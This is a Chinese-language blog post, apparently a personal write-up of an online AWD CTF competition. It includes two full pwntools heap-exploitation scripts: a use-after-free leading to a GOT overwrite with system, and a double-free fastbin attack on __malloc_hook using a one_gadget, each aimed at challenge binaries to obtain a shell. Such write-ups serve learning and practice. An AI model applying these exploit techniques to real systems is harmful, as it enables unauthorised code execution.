记一次线上AWD,有幸受星盟邀请参加了其四月的线上AWD比赛,十分感谢.
其实这算第二次线上AWD了,但是第一次我太菜了,等我写好EXP,其他师傅已经把血拿了,并且已经patch程序,一直在划水,这一次才算是我第一次参加,之前那次什么都没有弄清楚,然而这次依旧划水.
简介
首先比赛是从2点整开始直到5点整,AWD比赛给了五个题,其中三个WEB两个PWN,最初PWN题只放了一个PWN2,但是我下载不了文件,ssh连接不上,一直在那里折腾了大概一个小时,然后用sshpass交互连接上了服务器,用scp把文件下载了下来
1 | sshpass -p 'passwd' ssh -p port name@ip |
2 | sshpass -p 'passswd' scp -P port name@ip |
期间
我和另外一个师傅一起做PWN题,等我拿到文件时,pwn2也才准备patch
看了下环境PWN2是libc2.23下,这个题和安恒月赛的sales_office类似,UAF,功能齐全,简单就getshell,然而我方PWN2端口已经被干穿了,文件也被bash内置命令改成2333,而我又没有备份,估计被check检测到扣了不少分,于是用了RENEW重新生成镜像,又尝试其他队伍的端口,要么patch了要么和我们一样被干穿了
1 | from pwn import* |
2 | def new(index,size,content): |
3 | p.sendlineafter('Choice','1') |
4 | p.sendlineafter('index>>',str(index)) |
5 | p.sendlineafter('size>>',str(size)) |
6 | p.sendafter('name>>',content) |
7 | def free(index): |
8 | p.sendlineafter('Choice','2') |
9 | p.sendlineafter('index>>',str(index)) |
10 | def edit(index,content): |
11 | p.sendlineafter('Choice','3') |
12 | p.sendlineafter('index>>',str(index)) |
13 | p.sendafter('name>>',content) |
14 | def show(index): |
15 | p.sendlineafter('Choice','5') |
16 | p.sendlineafter('index>>',str(index)) |
17 | #p = process('./main') |
18 | p = remote('39.100.119.37',40780) |
19 | elf =ELF('./main') |
20 | libc =ELF('./libc-2.23.so') |
21 | new(0,0x10,'FMYY') |
22 | new(1,0x10,'FMYY') |
23 | new(6,0x10,'FMYY') |
24 | new(7,0x10,'FMYY') |
25 | free(0) |
26 | free(0) |
27 | new(2,0x20,'FMYY') |
28 | new(3,0x10,p64(0x30) + p64(elf.got['__libc_start_main'])) |
29 | show(0) |
30 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__libc_start_main'] |
31 | log.info('LIBC:\t' + hex(libc_base)) |
32 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
33 | rce = libc_base + 0xF1147 |
34 | system = libc_base + libc.sym['system'] |
35 | free(6) |
36 | free(6) |
37 | new(9,0x20,'FMYY') |
38 | new(10,0x10,p64(8)+p64(elf.got['atol'])) |
39 | edit(6,p64(system)) |
40 | p.sendlineafter('Choice','/bin/sh\x00') |
41 | p.interactive() |
然后就是PWN1了,做这个题的时候人完全是懵的,找不到思路,一直磨磨蹭蹭的等比赛完了还没有做出来,然后又从晚上8点一直做到1点多才搞出来,有想法但是想法不一会就混乱了,其实就是伪造一个double free,利用overlap将一个指针块包裹,且在某块地址处布置好一个fd指向malloc_hook-0x23的块
1 | from pwn import* |
2 | def new(size,content): |
3 | p.sendlineafter('choice:','1') |
4 | p.sendlineafter('secret?',str(size)) |
5 | p.sendafter('secret:',content) |
6 | def free(index): |
7 | p.sendlineafter('choice:','2') |
8 | p.sendlineafter('drop off?',str(index)) |
9 | p = process('./main') |
10 | libc =ELF('./libc-2.23.so') |
11 | context.log_level ='DEBUG' |
12 | p.sendline('FMYY') |
13 | new(0x10,'FMYY')#0 |
14 | new(0x10,'FMYY')#1 |
15 | new(0x10,'FMYY')#2 |
16 | new(0x10,'FMYY')#3 |
17 | new(0x10,'FMYY')#4 |
18 | new(0x70,'FMYY')#5 |
19 | new(0x20,'FMYY')#6 |
20 | free(6) |
21 | free(2) |
22 | free(1) |
23 | new(0x60,'FMYY')#7 |
24 | new(0x80,p64(0)*7 + p64(0x71))#8 |
25 | new(0x50,p64(0)*3 + p64(0x41))#9 |
26 | free(0) |
27 | free(0) |
28 | new(0x20,p64(0) + p64(0x141))#10 |
29 | new(0x10,p64(0x10) + '\x20')#11 |
30 | free(0) |
31 | free(5) |
32 | new(0x60,'FMYY')#12 |
33 | new(0x50,'FMYY')#13 |
34 | free(8) |
35 | new(0x80,p64(0)*7 + p64(0x71) + '\xDD\x25')#14 |
36 | free(12) |
37 | free(7) |
38 | free(12) |
39 | new(0x60,p64(0)*2 + p64(0) + p64(0x71) + '\xE0')#15 |
40 | new(0x60,'FMYY')#16 |
41 | new(0x60,'FMYY')#17 |
42 | free(3) |
43 | new(0x60,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88')#18 |
44 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
45 | log.info('LIBC:\t' + hex(libc_base)) |
46 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
47 | rce = libc_base + 0xF02A4 |
48 | free(16) |
49 | free(17) |
50 | free(16) |
51 | new(0x60,p64(malloc_hook - 0x23))#19 |
52 | new(0x60,'FMYY')#20 |
53 | new(0x60,'FMYY')#21 |
54 | free(13) |
55 | new(0x60,'\x00'*0x13 + p64(rce))#22 |
56 | free(20) |
57 | free(20) |
58 | p.interactive() |
附件:没有,看看就行
总结
这才算是第一次参加AWD比赛,效果十分不好,全靠队友做WEB题拉分,从这次比赛中也意识到自己的积累不足,导致就是思路不清晰,做题速度提不上来,还有就是patch这方面还没学会,学长给了Homura学长的仓库地址,有个WAF脚本也没仔细看,好多好多的pwn知识还很欠缺,可能估计也许是最近真的变成懒狗了,争取调整一下状态